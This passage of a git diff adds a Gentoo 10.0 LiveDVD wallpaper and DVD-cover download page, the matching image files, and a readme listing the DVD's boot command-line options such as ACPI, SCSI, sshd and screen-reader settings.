+Users at forums.gentoo.org for testing and your suggestions. Everyone 
+on irc and most of all jasmin server for the excellent built hardware.
+
+##########
+Livedvd created by Fernando Orocu a.k.a likewhoa
+http://twitter/likewh0a likewhoa@weboperative.com
+Sponsored by Mission Accomplish, Inc.
+##########
+
+http://gentoo.org - 10 Years compiling...
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/graphics.xml b/xml/htdocs/proj/en/pr/releases/10.0/graphics.xml
new file mode 100644
index 00000000..cf1ed9a6
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/graphics.xml
@@ -0,0 +1,339 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Gentoo Linux 10.0 LiveDVD Graphics</title>
+
+<author title="Page author, Hosting, Media Covers">
+  <mail link="a3li"/>
+</author>
+<author title="Wallpaper Artist">
+  <mail link="pr@gentoo.org">Ben Stedman</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This page lists wallpapers from the Gentoo 10.0 LiveDVD and provides downloads.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>4</version>
+<date>2009-11-08</date>
+
+<chapter>
+<title>Gentoo 10.0 LiveDVD Graphics</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+<img src="images/banner.jpg"/>
+</p>
+
+<p>
+The Gentoo Linux 10.0 LiveDVD features beautiful <uri
+link="#doc_chap1_sect3">wallpapers</uri> created by <b>Ben Stedman</b>. Here,
+all Gentoo users can download the artwork for use on their machines.
+</p>
+
+<p>
+Based on the wallpapers, <mail link="a3li"/> created <uri
+link="#doc_chap1_sect4">DVD case inlays, Jewel case inlays and a DVD label</uri>
+for use with the Gentoo Linux 10.0 LiveDVD.
+</p>
+
+<p>
+Feel free to use them on your home machine, on your work machine, print them out
+as a poster, but please note the <uri link="/main/en/name-logo.xml">Gentoo Name
+and Logo Usage Guidelines</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contribute</title>
+<body>
+
+<p>
+You want to contribute another cool wallpaper for the Gentoo 10 year
+celebration? -- Get in touch with <mail link="pr@gentoo.org">the Public
+Relations team</mail>!
+</p>
+
+</body>
+</section>
+<section>
+<title>Wallpaper</title>
+<body>
+
+<p>
+This is the official purple version as seen on the LiveDVD:
+</p>
+
+<table>
+  <tr>
+    <th>16:9 Widescreen</th>
+    <th>16:10 (8:5) Widescreen</th>
+  <th>4:3 Standard</th>
+  </tr>
+  <tr>
+    <ti>
+      <fig link="images/wallpaper/purple/fullhdthumb.jpg"/>
+    </ti>
+    <ti>
+      <fig link="images/wallpaper/purple/wsthumb.jpg"/>
+    </ti>
+    <ti>
+      <fig link="images/wallpaper/purple/43thumb.jpg"/>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1920x1080.jpg">1920&#215;1080</uri>
+	</li>
+	<li>
+	  <uri
+	  link="images/wallpaper/purple/1600x900.jpg">1600&#215;900</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1280x720.jpg">1280&#215;720</uri>
+	</li>
+      </ul>
+    </ti>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1920x1200.jpg">1920&#215;1200</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1440x900.jpg">1440&#215;900</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1280x800.jpg">1280&#215;800</uri>
+	</li>
+      </ul>
+    </ti>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1600x1200.jpg">1600&#215;1200</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1280x960.jpg">1280&#215;960</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1152x864.jpg">1152&#215;864</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/1024x768.jpg">1024&#215;768</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/purple/800x600.jpg">800&#215;600</uri>
+	</li>
+      </ul>
+    </ti>
+  </tr>
+</table>
+
+<p>
+And for your netbook, here is <uri
+link="images/wallpaper/purple/1024x600.jpg">1024&#215;600</uri>.
+</p>
+
+<p>
+If you like blue, this might be the right wallpaper for you:
+</p>
+
+<table>
+  <tr>
+    <th>16:9 Widescreen</th>
+    <th>16:10 (8:5) Widescreen</th>
+    <th>4:3 Standard</th>
+  </tr>
+  <tr>
+    <ti>
+      <fig link="images/wallpaper/blue/fullhdthumb.jpg"/>
+    </ti>
+    <ti>
+      <fig link="images/wallpaper/blue/wsthumb.jpg" />
+    </ti>
+    <ti>
+      <fig link="images/wallpaper/blue/43thumb.jpg"/>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1920x1080.jpg">1920&#215;1080</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1600x900.jpg">1600&#215;900</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1280x720.jpg">1280&#215;720</uri>
+	</li>
+      </ul>
+    </ti>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1920x1200.jpg">1920&#215;1200</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1440x900.jpg">1440&#215;900</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1280x800.jpg">1280&#215;800</uri>
+	</li>
+      </ul>
+    </ti>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1600x1200.jpg">1600&#215;1200</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1280x960.jpg">1280&#215;960</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1152x864.jpg">1152&#215;864</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/1024x768.jpg">1024&#215;768</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/blue/800x600.jpg">800&#215;600</uri>
+	</li>
+      </ul>
+    </ti>
+  </tr>
+</table>
+
+<p>
+Again, for your netbook, here is <uri
+link="images/wallpaper/blue/1024x600.jpg">1024&#215;600</uri>.
+</p>
+
+<p>
+If you prefer something dark, you can use this version:
+</p>
+
+<table>
+  <tr>
+    <th>All sizes</th>
+  </tr>
+  <tr>
+    <ti>
+      <fig link="images/wallpaper/red/thumb.jpg"/>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      <ul>
+        <li>
+	  <uri
+	  link="images/wallpaper/red/1920x1200.jpg">1920&#215;1200</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/red/1440x900.jpg">1440&#215;900</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/red/1280x800.jpg">1280&#215;800</uri>
+	</li>
+        <li>
+	  <uri
+	  link="images/wallpaper/red/1024x600.jpg">1024&#215;600</uri>
+	  (netbook)
+	</li>
+      </ul>
+    </ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>DVD labels and covers</title>
+<body>
+
+<table>
+  <tr>
+    <th colspan="2">DVD label</th>
+  </tr>
+  <tr>
+    <ti colspan="2">
+      <fig link="images/cover/DVDCover-thumb.jpg"/><br/>
+      <uri link="images/cover/DVDCover.jpg">Download</uri>
+    </ti>
+  </tr>
+  <tr>
+    <th colspan="2">Jewel case</th>
+  </tr>
+  <tr>
+    <th>Front</th>
+    <th>Back</th>
+  </tr>
+  <tr>
+    <ti>
+      <fig link="images/cover/Jewel-Front-thumb.jpg"/><br/>
+      <uri link="images/cover/Jewel-Front.png">Download</uri>
+    </ti>
+    <ti>
+      <fig link="images/cover/Jewel-Back-thumb.jpg"/><br/>
+      <uri link="images/cover/Jewel-Back.png">Download</uri>
+    </ti>
+  </tr>
+  <tr>
+    <th colspan="2">DVD label</th>
+  </tr>
+  <tr>
+    <th>amd64</th>
+    <th>x86|amd64 hybrid</th>
+  </tr>
+  <tr>
+    <ti>
+      <fig link="images/cover/DVD-amd64-thumb.gif"/><br/>
+      <uri link="images/cover/DVD-amd64.png">Download</uri>
+    </ti>
+    <ti>
+      <fig link="images/cover/DVD-hybrid-thumb.gif"/><br/>
+      <uri link="images/cover/DVD-hybrid.png">Download</uri>
+    </ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/banner.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/banner.jpg
new file mode 100644
index 00000000..91ea871a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/banner.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.gif b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.gif
new file mode 100644
index 00000000..24a803c2
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.gif
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.png
new file mode 100644
index 00000000..282cc7cb
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64-thumb.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64.png
new file mode 100644
index 00000000..6ba6f2de
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-amd64.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.gif b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.gif
new file mode 100644
index 00000000..11a66cb9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.gif
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.png
new file mode 100644
index 00000000..2461263a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid-thumb.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid.png
new file mode 100644
index 00000000..faa8492d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVD-hybrid.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover-thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover-thumb.jpg
new file mode 100644
index 00000000..6da9d9db
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover-thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover.jpg
new file mode 100644
index 00000000..4f02a11a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/DVDCover.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back-thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back-thumb.jpg
new file mode 100644
index 00000000..23a0754f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back-thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back.png
new file mode 100644
index 00000000..0873c2cb
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Back.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front-thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front-thumb.jpg
new file mode 100644
index 00000000..71923af8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front-thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front.png b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front.png
new file mode 100644
index 00000000..0584658e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/cover/Jewel-Front.png
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x600.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x600.jpg
new file mode 100644
index 00000000..3df58b73
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x600.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x768.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x768.jpg
new file mode 100644
index 00000000..0ee958c9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1024x768.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1152x864.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1152x864.jpg
new file mode 100644
index 00000000..957140ae
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1152x864.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x720.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x720.jpg
new file mode 100644
index 00000000..d39217a9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x720.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x800.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x800.jpg
new file mode 100644
index 00000000..b11f45e8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x800.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x960.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x960.jpg
new file mode 100644
index 00000000..294924c1
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1280x960.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1440x900.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1440x900.jpg
new file mode 100644
index 00000000..b11f45e8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1440x900.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x1200.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x1200.jpg
new file mode 100644
index 00000000..d7225fae
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x1200.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x900.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x900.jpg
new file mode 100644
index 00000000..2028f73e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1600x900.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1080.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1080.jpg
new file mode 100644
index 00000000..631013b8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1080.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1200.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1200.jpg
new file mode 100644
index 00000000..b11f45e8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/1920x1200.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/43thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/43thumb.jpg
new file mode 100644
index 00000000..faf520b1
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/43thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/800x600.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/800x600.jpg
new file mode 100644
index 00000000..ba4e68e0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/800x600.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/fullhdthumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/fullhdthumb.jpg
new file mode 100644
index 00000000..f41e6fb0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/fullhdthumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/wsthumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/wsthumb.jpg
new file mode 100644
index 00000000..02156fe4
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/blue/wsthumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x600.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x600.jpg
new file mode 100644
index 00000000..70966260
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x600.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x768.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x768.jpg
new file mode 100644
index 00000000..6f944c12
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1024x768.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1152x864.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1152x864.jpg
new file mode 100644
index 00000000..3cc2a618
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1152x864.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x720.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x720.jpg
new file mode 100644
index 00000000..4fea65ea
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x720.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x800.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x800.jpg
new file mode 100644
index 00000000..816bec4e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x800.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x960.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x960.jpg
new file mode 100644
index 00000000..846ce82e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1280x960.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1440x900.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1440x900.jpg
new file mode 100644
index 00000000..cf2817c0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1440x900.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x1200.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x1200.jpg
new file mode 100644
index 00000000..9f846727
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x1200.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x900.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x900.jpg
new file mode 100644
index 00000000..3bb2b1e8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1600x900.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1080.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1080.jpg
new file mode 100644
index 00000000..f676bfe9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1080.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1200.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1200.jpg
new file mode 100644
index 00000000..fec6643a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/1920x1200.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/43thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/43thumb.jpg
new file mode 100644
index 00000000..b5755ffc
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/43thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/800x600.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/800x600.jpg
new file mode 100644
index 00000000..5f2de4eb
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/800x600.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/fullhdthumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/fullhdthumb.jpg
new file mode 100644
index 00000000..c418cb2f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/fullhdthumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/wsthumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/wsthumb.jpg
new file mode 100644
index 00000000..400915b8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/purple/wsthumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1024x600.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1024x600.jpg
new file mode 100644
index 00000000..b3d86853
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1024x600.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1280x800.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1280x800.jpg
new file mode 100644
index 00000000..1ba9a1b8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1280x800.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1440x900.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1440x900.jpg
new file mode 100644
index 00000000..3bdd4ed5
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1440x900.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1920x1200.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1920x1200.jpg
new file mode 100644
index 00000000..1aad0655
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/1920x1200.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/thumb.jpg b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/thumb.jpg
new file mode 100644
index 00000000..70259ea2
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/images/wallpaper/red/thumb.jpg
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/livedvd-readme.txt b/xml/htdocs/proj/en/pr/releases/10.0/livedvd-readme.txt
new file mode 100644
index 00000000..057ead98
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/livedvd-readme.txt
@@ -0,0 +1,111 @@
+This lists the possible command line options that can be used to tweak the boot
+process of this DVD.  This lists the Gentoo-specific options, along with a few
+options that are built-in to the kernel, but that have been proven very useful
+to our users.  Also, all options that start with "do" have a "no" inverse, that
+does the opposite.  For example, "doscsi" enables SCSI support in the initial
+ramdisk boot, while "noscsi" disables it.
+
+
+Hardware options:
+acpi=on         This loads support for ACPI and also causes the acpid daemon to
+                be started by the CD on boot.  This is only needed if your
+                system requires ACPI to function properly.  This is not
+                required for Hyperthreading support.
+acpi=off        Completely disables ACPI.  This is useful on some older systems
+                and is also a requirement for using APM.  This will disable any
+                Hyperthreading support of your processor.
+console=X       This sets up serial console access for the CD.  The first
+                option is the device, usually ttyS0 on x86, followed by any
+                connection options, which are comma separated.  The default
+                options are 9600,8,n,1.
+dmraid=X        This allows for passing options to the device-mapper RAID
+                subsystem.  Options should be encapsulated in quotes.
+doapm           This loads APM driver support.  This requires you to also use
+                acpi=off.
+dopcmcia        This loads support for PCMCIA and Cardbus hardware and also
+                causes the pcmcia cardmgr to be started by the CD on boot.
+                This is only required when booting from PCMCIA/Cardbus devices.
+doscsi          This loads support for most SCSI controllers.  This is also a
+                requirement for booting most USB devices, as they use the SCSI
+                subsystem of the kernel.
+hda=stroke      This allows you to partition the whole hard disk even when your
+                BIOS is unable to handle large disks.  This option is only used
+                on machines with an older BIOS.  Replace hda with the device
+                that is requiring this option.
+ide=nodma       This forces the disabling of DMA in the kernel and is required
+                by some IDE chipsets and also by some CDROM drives.  If your
+                system is having trouble reading from your IDE CDROM, try this
+                option.  This also disables the default hdparm settings from
+                being executed.
+noapic          This disables the Advanced Programmable Interrupt Controller
+                that is present on newer motherboards.  It has been known to
+                cause some problems on older hardware.
+nodetect        This disables all of the autodetection done by the CD,
+                including device autodetection and DHCP probing.  This is
+                useful for doing debugging of a failing CD or driver.
+nodhcp          This disables DHCP probing on detected network cards.  This is
+                useful on networks with only static addresses.
+nodmraid        Disables support for device-mapper RAID, such as that used for
+                on-board IDE/SATA RAID controllers.
+nofirewire      This disables the loading of Firewire modules.  This should
+                only be necessary if your Firewire hardware is causing
+                a problem with booting the CD.
+nogpm           This diables gpm console mouse support.
+nohotplug       This disables the loading of the hotplug and coldplug init
+                scripts at boot.  This is useful for doing debugging of a
+                failing CD or driver.
+nokeymap        This disables the keymap selection used to select non-US
+                keyboard layouts.
+nolapic         This disables the local APIC on Uniprocessor kernels.
+nosata          This disables the loading of Serial ATA modules.  This is used
+                if your system is having problems with the SATA subsystem.
+nosmp           This disables SMP, or Symmetric Multiprocessing, on SMP-enabled
+                kernels.  This is useful for debugging SMP-related issues with
+                certain drivers and motherboards.
+nosound         This disables sound support and volume setting.  This is useful
+                for systems where sound support causes problems.
+nousb           This disables the autoloading of USB modules.  This is useful
+                for debugging USB issues.
+slowusb         This adds some extra pauses into the boot process for slow
+                USB CDROMs, like in the IBM BladeCenter.
+Volume/Device Management:
+doevms          This enables support for IBM's pluggable EVMS, or Enterprise
+                Volume Management System.  This is not safe to use with lvm2.
+dolvm           This enables support for Linux's Logical Volume Management.
+                This is not safe to use with evms2.
+Screen reader access:
+speakup.synth=synth  starts speakup using a given synthesizer.
+                     supported synths are acntpc, acntsa, apollo, audptr, bns,
+                     decext, dectlk, dtlk, keypc, ltlk, spkout and txprt.
+                     Also, soft is supported for software speech and dummy is
+                     supported for testing.
+speakup.quiet=1      sets the synthesizer not to speak until a key is pressed.
+speakup_SYNTH.port=n sets the port for internal synthesizers.
+speakup_SYNTH.ser=n  sets the serial port for external synthesizers.
+Other options:
+debug           Enables debugging code.  This might get messy, as it displays
+                a lot of data to the screen.
+docache         This caches the entire runtime portion of the CD into RAM,
+                which allows you to umount /mnt/cdrom and mount another CDROM.
+                This option requires that you have at least twice as much
+                available RAM as the size of the CD.
+doload=X        This causes the initial ramdisk to load any module listed, as
+                well as dependencies.  Replace X with the module name.
+                Multiple modules can be specified by a comma-separated list.
+dosshd          Starts sshd on boot, which is useful for unattended installs.
+passwd=foo      Sets whatever follows the equals as the root password, which
+                is required for dosshd since we scramble the root password.
+noload=X        This causes the initial ramdisk to skip the loading of a
+                specific module that may be causing a problem.  Syntax matches
+                that of doload.
+nonfs           Disables the starting of portmap/nfsmount on boot.
+nox             This causes an X-enabled LiveCD to not automatically start X,
+                but rather, to drop to the command line instead.
+scandelay       This causes the CD to pause for 10 seconds during certain
+                portions the boot process to allow for devices that are slow to
+                initialize to be ready for use.
+scandelay=X     This allows you to specify a given delay, in seconds, to be
+                added to certain portions of the boot process to allow for
+                devices that are slow to initialize to be ready for use.
+                Replace X with the number of seconds to pause.
+
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/ten_package_list.txt b/xml/htdocs/proj/en/pr/releases/10.0/ten_package_list.txt
